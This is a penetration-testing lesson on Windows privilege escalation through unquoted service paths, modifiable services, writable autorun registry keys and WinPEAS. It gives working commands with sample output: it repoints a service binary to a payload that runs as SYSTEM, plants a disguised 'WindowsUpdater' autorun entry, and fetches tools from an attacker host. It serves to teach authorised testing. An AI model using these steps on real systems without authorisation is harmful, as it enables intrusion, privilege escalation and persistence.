Windows System Attacks

Windows dominates corporate environments. Understanding how privilege escalation works on Windows — through misconfigured services, registry weaknesses, and DLL loading behaviour — is essential for any pen tester working in enterprise settings.

Windows privilege escalation — the same logic, different terrain

The underlying principle from Linux carries over: find something running as a privileged user that a low-privilege user can influence. On Windows, privileged processes typically run as SYSTEM — the Windows equivalent of root — or as a high-privilege service account. The escalation paths are different but the logic is identical.

Windows adds its own complexity through the registry, the service control manager, DLL loading order, and the access control model. Each one creates opportunities for escalation when misconfigured — and misconfigurations in enterprise Windows environments are extremely common, particularly in organisations that have grown through acquisitions or rapid IT expansion without a hardening standard.

The five escalation categories on Windows

Unquoted service paths — the most common Windows misconfiguration

This is the misconfiguration that appears most consistently in Windows pen tests. When a service is installed with a binary path that contains spaces — like C:\Program Files\Vendor App\service.exe — and the path is not wrapped in quotes, Windows resolves the ambiguity by trying multiple interpretations of where the executable might be.

It tries C:\Program.exe first, then C:\Program Files\Vendor.exe, then C:\Program Files\Vendor App\service.exe. If a low-privilege user can write to C:\ or C:\Program Files\, they can place a malicious executable at one of those earlier locations. When the service starts — typically as SYSTEM — Windows finds and executes the malicious binary first.

The scenario: You have a low-privilege shell on a Windows server during an authorised internal engagement. You are enumerating privilege escalation opportunities and want to find any services with unquoted paths that include spaces.

# These commands run in a Windows Command Prompt or PowerShell session
# Active testing — run only within your authorised engagement scope

# List all services with their binary paths
# We are looking for paths that contain spaces AND are not wrapped in quotes
# wmic is the Windows Management Instrumentation command-line tool
wmic service get name,displayname,pathname,startmode

# Filter specifically for unquoted paths — pipes output through findstr
# This finds lines containing spaces in the path but missing the quote character
# The ^ negates the match — "has a backslash but not followed by a quote"
wmic service get name,pathname | findstr /i /v "C:\\Windows\\" | findstr /i /v """

# PowerShell alternative — more readable output
# Gets all services, filters for those whose PathName contains a space
# but is NOT enclosed in double quotes — the classic unquoted path pattern
Get-WmiObject -Class Win32_Service | Where-Object {
  $_.PathName -notmatch '^"' -and $_.PathName -match ' '
} | Select-Object Name, PathName, StartMode, StartName

Name              PathName                                          StartMode  StartName
----              --------                                          ---------  ---------
VulnService       C:\Program Files\Vulnerable App\bin\service.exe  Auto       LocalSystem
CustomMonitor     C:\Corp Tools\Monitor\monitor.exe                 Auto       LocalSystem

Checking service permissions with accesschk

Accesschk is a Sysinternals tool that shows what permissions a specific user or group has on Windows objects — files, registry keys, services, and processes. For privilege escalation, the key check is whether a low-privilege group like "Everyone" or "Authenticated Users" has modify or full control permissions on a service.

If a low-privilege user can reconfigure a service — changing its binary path or startup parameters — they can point it at any executable they choose. When the service restarts as SYSTEM, their chosen binary runs with full privileges.

# accesschk.exe checks permissions on Windows objects
# Download from Sysinternals — transfer to the target as part of engagement toolkit

# Check which services the current user (or Everyone group) can modify
# -u  suppress errors  -w  only show objects with write access
# -c  check services   -q  quiet mode  -v  verbose output
# *   check all services
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *

# Check specific service permissions in detail
# Replace VulnService with the service name found in the previous step
accesschk.exe -uwcqv VulnService

# If a service is modifiable — change its binary path to our payload
# sc config changes service configuration
# binpath= sets the path to the executable the service will run
# We point it at our payload — a reverse shell or command runner
# The space after binpath= is intentional — sc requires it
sc config VulnService binpath= "C:\Temp\payload.exe"

# Restart the service to trigger execution of the new binary as SYSTEM
# net stop / net start — stop then start the service
net stop VulnService
net start VulnService

RW Everyone
      SERVICE_ALL_ACCESS

VulnService
  RW Everyone
        SERVICE_ALL_ACCESS

[SC] ChangeServiceConfig SUCCESS

VulnService is stopping.
VulnService is stopped.

VulnService is starting.
VulnService started successfully.

[*] Payload executed as NT AUTHORITY\SYSTEM

Registry autoruns — persistence and escalation

The Windows registry contains keys that determine which programs run automatically at startup or login. If a low-privilege user can write to certain autorun registry keys — particularly those under HKLM (Local Machine) rather than HKCU (Current User) — they can inject a program that runs with elevated privileges at next boot.

HKLM autoruns execute before user login and often run under SYSTEM or a high-privilege service account. HKCU autoruns execute in the context of whoever logs in. Both are worth checking — HKCU for persistence under the current user, HKLM for potential privilege escalation.

# Query the common autorun registry locations
# HKLM keys run for all users — often with elevated privileges
# HKCU keys run only for the current user
# reg query reads a registry key and displays its values

# System-wide autoruns (HKLM) — higher-value target for escalation
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Current user autoruns (HKCU) — useful for persistence
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Check whether the current user can write to the HKLM autorun key
# accesschk tests registry key permissions the same way it tests service permissions
accesschk.exe -uvwqk HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# If writable — add an entry pointing to our payload
# reg add creates or modifies a registry value
# /v  the value name (our entry's identifier)
# /t  the data type — REG_SZ is a plain string
# /d  the data — the path to our payload executable
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsUpdater" \
  /t REG_SZ \
  /d "C:\Temp\payload.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    SecurityHealth    REG_EXPAND_SZ    %windir%\system32\SecurityHealthSystray.exe
    VendorApp         REG_SZ           C:\Program Files\VendorApp\updater.exe

--- accesschk result ---
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  RW BUILTIN\Users
     KEY_ALL_ACCESS

--- reg add result ---
The operation completed successfully.

Automated enumeration with WinPEAS

WinPEAS is the Windows counterpart of LinPEAS — the same author, the same philosophy, built for Windows. It checks every common privilege escalation path: unquoted paths, modifiable services, registry key permissions, AlwaysInstallElevated, stored credentials, scheduled tasks, and more. It colour-codes findings by exploitability.

Transfer it the same way as LinPEAS — host it on Kali with Python's HTTP server, download it with PowerShell's Invoke-WebRequest, and run it from a writable directory on the target.

# On Kali — download winPEAS and serve it over HTTP
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe

# Start a temporary HTTP server on Kali to deliver the file to the Windows target
python3 -m http.server 8000

# On the Windows target — download WinPEAS using PowerShell
# Replace 192.168.56.102 with your actual Kali IP
# Invoke-WebRequest downloads a file from a URL  -OutFile saves it to disk
powershell -c "Invoke-WebRequest http://192.168.56.102:8000/winPEASany.exe -OutFile C:\Temp\winpeas.exe"

# Run WinPEAS — output is colour-coded (red = high priority, yellow = medium)
# The output is long — pipe to more to page through it
C:\Temp\winpeas.exe | more

# Save output to a file for reference during the engagement
C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt

====================================================================
  winPEAS v2 — Windows Privilege Escalation Awesome Script
====================================================================

[!] Unquoted Service Path: VulnService
    Path: C:\Program Files\Vulnerable App\bin\service.exe
    Runs As: LocalSystem

[!] Modifiable Service: VulnService
    Everyone has SERVICE_ALL_ACCESS

[!] Registry Autorun Writable:
    HKLM\...\Run — BUILTIN\Users has KEY_ALL_ACCESS

[!] AlwaysInstallElevated: ENABLED
    Both HKLM and HKCU keys set — MSI installs run as SYSTEM

Four privilege escalation paths surfaced on a single Windows host — unquoted service path, modifiable service permissions, writable autorun registry key, and AlwaysInstallElevated. Each one independently reaches SYSTEM. Documenting all four in the report is important: the client needs to know that removing one escalation path still leaves three others open.

Practice questions

Quiz